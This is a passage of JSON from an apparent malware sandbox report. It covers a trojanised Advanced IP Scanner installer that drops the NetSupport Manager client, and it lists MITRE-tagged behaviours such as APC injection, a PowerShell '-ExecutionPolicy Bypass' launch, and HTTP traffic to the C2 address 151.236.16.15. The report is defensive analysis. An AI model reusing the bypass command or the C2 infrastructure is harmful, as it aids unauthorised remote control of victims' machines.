files)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" searching for class \"Shell_TrayWnd\"\n \"client32.exe\" searching for class \"NSMWClass\"\n \"client32.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" with commandline \"/SL5=\"$12004E\n18032967\n815616\nC:\\\\a1720d68eef7dc381a533fd8584a22 ...\" (UID: 00000000-00005220), Spawned process \"powershell.exe\" with commandline \"-ExecutionPolicy Bypass -File \"%TEMP%\\\\is-0DA6D.tmp\\\\ExtractedCo ...\" (UID: 00000000-00007184)\n Spawned process \"client32.exe\" (UID: 00000000-00001628)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" with commandline \"/SL5=\"$12004E\n18032967\n815616\nC:\\\\a1720d68eef7dc381a533fd8584a22 ...\" (UID: 00000000-00005220), Spawned process \"powershell.exe\" with commandline \"-ExecutionPolicy Bypass -File \"%TEMP%\\\\is-0DA6D.tmp\\\\ExtractedCo ...\" (UID: 00000000-00007184)\n Spawned process \"client32.exe\" (UID: 00000000-00001628)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=GlobalSign Code Signing Root R45, O=GlobalSign nv-sa, C=BE\" (SHA1: C1:0B:B7:6A:D4:EE:81:52:42:40:6A:1E:3E:11:17:FF:EC:74:3D:4F; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE\" (SHA1: 56:FC:98:49:0B:48:45:07:29:47:53:6B:9E:0A:C1:21:A3:77:44:E6; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"$61","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-2BB8I.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-0DA6D.tmp\\_isetup\\_setup64.tmp\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_jlwms0hi.yru.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_fh3uwba2.kan.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"RegisterServiceCtrlHandlerA\" (Indicator: \"RegisterServiceCtrlHandler\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"RegisterServiceCtrlHandlerExA\" (Indicator: \"RegisterServiceCtrlHandler\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"RegisterServiceCtrlHandlerA\" (Indicator: \"RegisterServiceCtrlHandler\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to register device notification handler (API string)","description":"Found reference to API \"RegisterDeviceNotificationW\" (Indicator: \"RegisterDeviceNotification\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1098.005","relevance":1,"id":"string-543","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"client32.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$62","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$63","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$64","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" queries basic process information of the \"C:\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" (UID: 6300)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$65","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"client32.exe\" called \"NtQueueApcThread\" (UID: 00000000-00001628)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" reads file \"c:\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$66","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\imm32.dll\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ole32.dll\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" trying to touch file \"C:\\FLTLIB.DLL\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\fltLib.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"$67","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" touched file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Network Tools\\Advanced IP Scanner for Windows.lnk\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Network Tools\\Advanced IP Scanner for Windows.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$68","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$69","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\is-2bb8i.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" writes file \"%temp%\\is-2bb8i.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\is-0da6d.tmp\\_isetup\\_setup64.tmp\"\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" writes file \"c:\\program files (x86)\\advanced ip scanner\\is-e4h59.tmp\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"powershell.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"is-96QPJ.tmp\")\n file/memory contains long string with (Indicator: \"getcomputernameexa\"; File: \"is-96QPJ.tmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"client32.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"GET\" object: location/loca.asp\" - (UID: 00000000-00001628)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"client32.exe\" called \"InternetReadFile\" with parameter 16 (UID: 00000000-00001628)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"client32.exe\" called \"InternetOpenA\" (UID: 00000000-00001628)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST http://151.236.16.15/fakeurl.htm\"\n Found http requests in header \"GET /location/loca.asp\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains Wi-Fi native api calls","description":"Found reference to API \"WlanFreeMemory\" (Indicator: \"WlanFreeMemory\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"WlanGetAvailableNetworkList\" (Indicator: \"WlanGetAvailableNetworkList\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"WlanEnumInterfaces\" (Indicator: \"WlanEnumInterfaces\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"WlanCloseHandle\" (Indicator: \"WlanCloseHandle\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"WlanOpenHandle\" (Indicator: \"WlanOpenHandle\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.002","relevance":1,"id":"string-740","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide information and utilities for managing network resources (API string)","description":"Found reference to API \"WNetCancelConnection2A\" (Indicator: \"WNetCancelConnection\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"WNetGetUniversalNameW\" (Indicator: \"WNetGetUniversalName\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"WNetCancelConnection2W\" (Indicator: \"WNetCancelConnection\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-113","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserEnum\" (Indicator: \"NetUserEnum\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"NetUserGetInfo(%ls\\%ls) took %d ms and ret x%x\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"NetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"NetUserEnum\" (Indicator: \"NetUserEnum\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionA\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"151.236.16.15\"\n Potential IP \"151.236.16.15\" found in string \"http://151.236.16.15/fakeurl.htm\"\n Potential IP \"151.236.16.15\" found in string \"POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-Alive43:4d:44:3d:50:4f:4c:4c:0a:49:4e:46:4f:3d:31:0a:41:43:4b:3d:31:0a\"\n \"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n \"92.168.0.2\"\n \"127.0.0.1\"\n Potential IP \"127.0.0.1\" found in string \">127.0.0.1:%d\"\n \"225.16.8.68\"\n Potential IP \"127.0.0.1\" found in string \"http://127.0.0.1\"\n \"8.7.0.0\"\n \"10.21.0.0\"\n \"0.0.0.0\"\n Potential IP \"151.236.16.15\" found in string \"p://151.236.16.15/fakeurl.htm HTTP/1.1\"\n Potential IP \"151.236.16.15\" found in string \"Host: 151.236.16.15\"\n Potential IP \"0.0.0.0\" found in string \"CLIENT_IP_ADDRESS=0.0.0.0\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$70","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$71","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$72","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /location/loca.asp HTTP/1.1\nHost: geo.netsupportsoftware.com\nConnection: Keep-Alive\nCache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"geo.netsupportsoftware.com\" has high 